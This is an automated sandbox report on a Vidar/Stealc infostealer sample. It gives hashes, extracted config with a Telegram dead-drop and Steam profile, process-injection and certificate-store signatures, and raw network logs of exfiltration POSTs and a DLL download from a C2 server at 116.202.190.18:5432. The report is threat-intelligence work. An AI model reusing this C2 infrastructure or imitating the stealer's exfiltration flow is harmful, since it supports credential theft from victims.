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Analysis
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max time kernel
93s -
max time network
94s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
07/06/2024, 04:37 UTC
Static task
static1
Behavioral task
behavioral1
Sample
1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe
Resource
win10v2004-20240426-en
General
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Target
1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe
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Size
2.9MB
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MD5
0106c47448dd2470e5d3d2550e94a560
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SHA1
06e62d065bac64d68e44742adbdf45067b950648
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SHA256
1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a
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SHA512
75a342fa44fa3ccabe80c499f4357b82dec2b31a49fb7f6a982a0880ba6045237b0c7a0ab761478eaca2c26ec35d2d322139bc104e8c1ef3b89f7b37d54bed97
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SSDEEP
49152:rtpSxptE1AKnCVMS4cdR/z4+UVi4e9Crn:r/4nE1dCqKxx4e9Cb
Malware Config
Extracted
stealc
Extracted
vidar
https://t.me/r8z0l
https://steamcommunity.com/profiles/76561199698764354
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user_agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Signatures
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Detect Vidar Stealer 8 IoCs
resource yara_rule behavioral1/memory/3996-1-0x0000000002AE0000-0x0000000002C46000-memory.dmp family_vidar_v7 behavioral1/memory/1972-9-0x0000000000400000-0x0000000000648000-memory.dmp family_vidar_v7 behavioral1/memory/1972-10-0x0000000000400000-0x0000000000648000-memory.dmp family_vidar_v7 behavioral1/memory/1972-4-0x0000000000400000-0x0000000000648000-memory.dmp family_vidar_v7 behavioral1/memory/1972-13-0x0000000000400000-0x0000000000648000-memory.dmp family_vidar_v7 behavioral1/memory/1972-14-0x0000000000400000-0x0000000000648000-memory.dmp family_vidar_v7 behavioral1/memory/1972-31-0x0000000000400000-0x0000000000648000-memory.dmp family_vidar_v7 behavioral1/memory/1972-33-0x0000000000400000-0x0000000000648000-memory.dmp family_vidar_v7 -
Downloads MZ/PE file
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Executes dropped EXE 1 IoCs
pid Process 1972 kat3F1C.tmp -
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 3996 set thread context of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 -
Checks processor information in registry 2 TTPs 1 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString kat3F1C.tmp -
description ioc Process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4 kat3F1C.tmp Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\2796BAE63F1801E277261BA0D77770028F20EEE4\Blob = 19000000010000001000000063664b080559a094d10f0a3c5f4f62900f00000001000000140000005d82adb90d5dd3c7e3524f56f787ec53726187760b000000010000005200000047006f00200044006100640064007900200043006c00610073007300200032002000430065007200740069006600690063006100740069006f006e00200041007500740068006f007200690074007900000053000000010000004800000030463021060b6086480186fd6d0107170330123010060a2b0601040182373c0101030200c03021060b6086480186fd6e0107170330123010060a2b0601040182373c0101030200c009000000010000002a000000302806082b0601050507030206082b0601050507030306082b0601050507030406082b06010505070301620000000100000020000000c3846bf24b9e93ca64274c0ec67c1ecc5e024ffcacd2d74019350e81fe546ae4140000000100000014000000d2c4b0d291d44c1171b361cb3da1fedda86ad4e31d000000010000001000000099949d2179811f6b30a8c99c4f6b42260300000001000000140000002796bae63f1801e277261ba0d77770028f20eee420000000010000000404000030820400308202e8a003020102020100300d06092a864886f70d01010505003063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479301e170d3034303632393137303632305a170d3334303632393137303632305a3063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f7269747930820120300d06092a864886f70d01010105000382010d00308201080282010100de9dd7ea571849a15bebd75f4886eabeddffe4ef671cf46568b35771a05e77bbed9b49e970803d561863086fdaf2ccd03f7f0254225410d8b281d4c0753d4b7fc777c33e78ab1a03b5206b2f6a2bb1c5887ec4bb1eb0c1d845276faa3758f78726d7d82df6a917b71f72364ea6173f659892db2a6e5da2fe88e00bde7fe58d15e1ebcb3ad5e212a2132dd88eaf5f123da0080508b65ca565380445991ea3606074c541a572621b62c51f6f5f1a42be025165a8ae23186afc7803a94d7f80c3faab5afca140a4ca1916feb2c8ef5e730dee77bd9af67998bcb10767a2150ddda058c6447b0a3e62285fba41075358cf117e3874c5f8ffb569908f8474ea971baf020103a381c03081bd301d0603551d0e04160414d2c4b0d291d44c1171b361cb3da1fedda86ad4e330818d0603551d230481853081828014d2c4b0d291d44c1171b361cb3da1fedda86ad4e3a167a4653063310b30090603550406130255533121301f060355040a131854686520476f2044616464792047726f75702c20496e632e3131302f060355040b1328476f20446164647920436c61737320322043657274696669636174696f6e20417574686f72697479820100300c0603551d13040530030101ff300d06092a864886f70d01010505000382010100324bf3b2ca3e91fc12c6a1078c8e77a03306145c901e18f708a63d0a19f98780116e69e4961730ff3491637238eecc1c01a31d9428a431f67ac454d7f6e5315803a2ccce62db944573b5bf45c924b5d58202ad2379698db8b64dcecf4cca3323e81c88aa9d8b416e16c920e5899ecd3bda70f77e992620145425ab6e7385e69b219d0a6c820ea8f8c20cfa101e6c96ef870dc40f618badee832b95f88e92847239eb20ea83ed83cd976e08bceb4e26b6732be4d3f64cfe2671e26111744aff571a870f75482ecf516917a002126195d5d140b2104ceec4ac1043a6a59e0ad595629a0dcf8882c5320ce42b9f45e60d9f289cb1b92a5a57ad370faf1d7fdbbd9f kat3F1C.tmp -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 1972 kat3F1C.tmp 1972 kat3F1C.tmp -
Suspicious use of WriteProcessMemory 8 IoCs
description pid Process procid_target PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83 PID 3996 wrote to memory of 1972 3996 1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe 83
Processes
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C:\Users\Admin\AppData\Local\Temp\1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe"C:\Users\Admin\AppData\Local\Temp\1e057497f0ea743c71538d4e08bff3e469e0bc7467617245841375587f4d4a2a.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3996 -
C:\Users\Admin\AppData\Local\Temp\kat3F1C.tmpC:\Users\Admin\AppData\Local\Temp\kat3F1C.tmp2⤵
- Executes dropped EXE
- Checks processor information in registry
- Modifies system certificate store
- Suspicious behavior: EnumeratesProcesses
PID:1972
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Network
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Remote address:8.8.8.8:53Requestt.meIN AResponset.meIN A149.154.167.99
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Remote address:149.154.167.99:443RequestGET /r8z0l HTTP/1.1
Host: t.me
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:56 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12304
Connection: keep-alive
Set-Cookie: stel_ssid=1b803a2df8626341ba_13987216217381629792; expires=Sat, 08 Jun 2024 04:37:56 GMT; path=/; samesite=None; secure; HttpOnly
Pragma: no-cache
Cache-control: no-store
X-Frame-Options: ALLOW-FROM https://web.telegram.org
Content-Security-Policy: frame-ancestors https://web.telegram.org
Strict-Transport-Security: max-age=35768000
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Remote address:116.202.190.18:5432RequestGET / HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
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Remote address:8.8.8.8:53Request133.211.185.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request99.167.154.149.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request172.210.232.199.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request18.190.202.116.in-addr.arpaIN PTRResponse18.190.202.116.in-addr.arpaIN PTRstatic18190202116clientsyour-serverde
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Remote address:116.202.190.18:5432RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----CAEHDBAAECBFHJKFCFBF
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Content-Length: 279
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:57 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
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Remote address:8.8.8.8:53Request14.160.190.20.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request95.221.229.192.in-addr.arpaIN PTRResponse
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Remote address:116.202.190.18:5432RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----GDHIEHJEBAAFIDHJEBGI
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:58 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
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Remote address:116.202.190.18:5432RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----IJDBKKJKJEBFBGCBAAFI
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Content-Length: 331
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:58 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
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Remote address:116.202.190.18:5432RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----EGIJKEHCAKFCAKFHDAAA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Content-Length: 332
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:59 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
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Remote address:116.202.190.18:5432RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----HDBGDHDAECBGDHJKFIDG
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Content-Length: 4709
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:59 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
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Remote address:116.202.190.18:5432RequestGET /sqls.dll HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:37:59 GMT
Content-Type: application/octet-stream
Content-Length: 2459136
Last-Modified: Sun, 02 Jun 2024 19:44:54 GMT
Connection: keep-alive
ETag: "665ccbb6-258600"
Accept-Ranges: bytes
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Remote address:116.202.190.18:5432RequestPOST / HTTP/1.1
Content-Type: multipart/form-data; boundary=----EBGIEGCFHCFHIDHIJECA
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:128.0) Gecko/20100101 Firefox/128.0
Host: 116.202.190.18:5432
Content-Length: 437
Connection: Keep-Alive
Cache-Control: no-cache
ResponseHTTP/1.1 200 OK
Date: Fri, 07 Jun 2024 04:38:00 GMT
Content-Type: text/html; charset=UTF-8
Transfer-Encoding: chunked
Connection: keep-alive
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Remote address:8.8.8.8:53Request26.165.165.52.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request18.31.95.13.in-addr.arpaIN PTRResponse
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Remote address:8.8.8.8:53Request13.227.111.52.in-addr.arpaIN PTRResponse
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1.5kB 19.4kB 24 20
HTTP Request
GET https://t.me/r8z0lHTTP Response
200 -
966 B 2.7kB 11 8
HTTP Request
GET https://116.202.190.18:5432/HTTP Response
200 -
1.4kB 622 B 9 6
HTTP Request
POST https://116.202.190.18:5432/HTTP Response
200 -
1.5kB 2.2kB 10 7
HTTP Request
POST https://116.202.190.18:5432/HTTP Response
200 -
1.6kB 6.3kB 13 10
HTTP Request
POST https://116.202.190.18:5432/HTTP Response
200 -
1.4kB 672 B 9 6
HTTP Request
POST https://116.202.190.18:5432/HTTP Response
200 -
6.0kB 605 B 13 7
HTTP Request
POST https://116.202.190.18:5432/HTTP Response
200 -
98.0kB 2.5MB 1830 1827
HTTP Request
GET https://116.202.190.18:5432/sqls.dllHTTP Response
200 -
1.5kB 528 B 8 5
HTTP Request
POST https://116.202.190.18:5432/HTTP Response
200
-
50 B 66 B 1 1
DNS Request
t.me
DNS Response
149.154.167.99
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73 B 147 B 1 1
DNS Request
133.211.185.52.in-addr.arpa
-
73 B 166 B 1 1
DNS Request
99.167.154.149.in-addr.arpa
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74 B 128 B 1 1
DNS Request
172.210.232.199.in-addr.arpa
-
73 B 131 B 1 1
DNS Request
18.190.202.116.in-addr.arpa
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72 B 158 B 1 1
DNS Request
14.160.190.20.in-addr.arpa
-
73 B 144 B 1 1
DNS Request
95.221.229.192.in-addr.arpa
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72 B 146 B 1 1
DNS Request
26.165.165.52.in-addr.arpa
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70 B 144 B 1 1
DNS Request
18.31.95.13.in-addr.arpa
-
72 B 158 B 1 1
DNS Request
13.227.111.52.in-addr.arpa
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
861KB
MD566064dbdb70a5eb15ebf3bf65aba254b
SHA10284fd320f99f62aca800fb1251eff4c31ec4ed7
SHA2566a94dbda2dd1edcff2331061d65e1baf09d4861cc7ba590c5ec754f3ac96a795
SHA512b05c6c09ae7372c381fba591c3cb13a69a2451b9d38da1a95aac89413d7438083475d06796acb5440cd6ec65b030c9fa6cbdaa0d2fe91a926bae6499c360f17f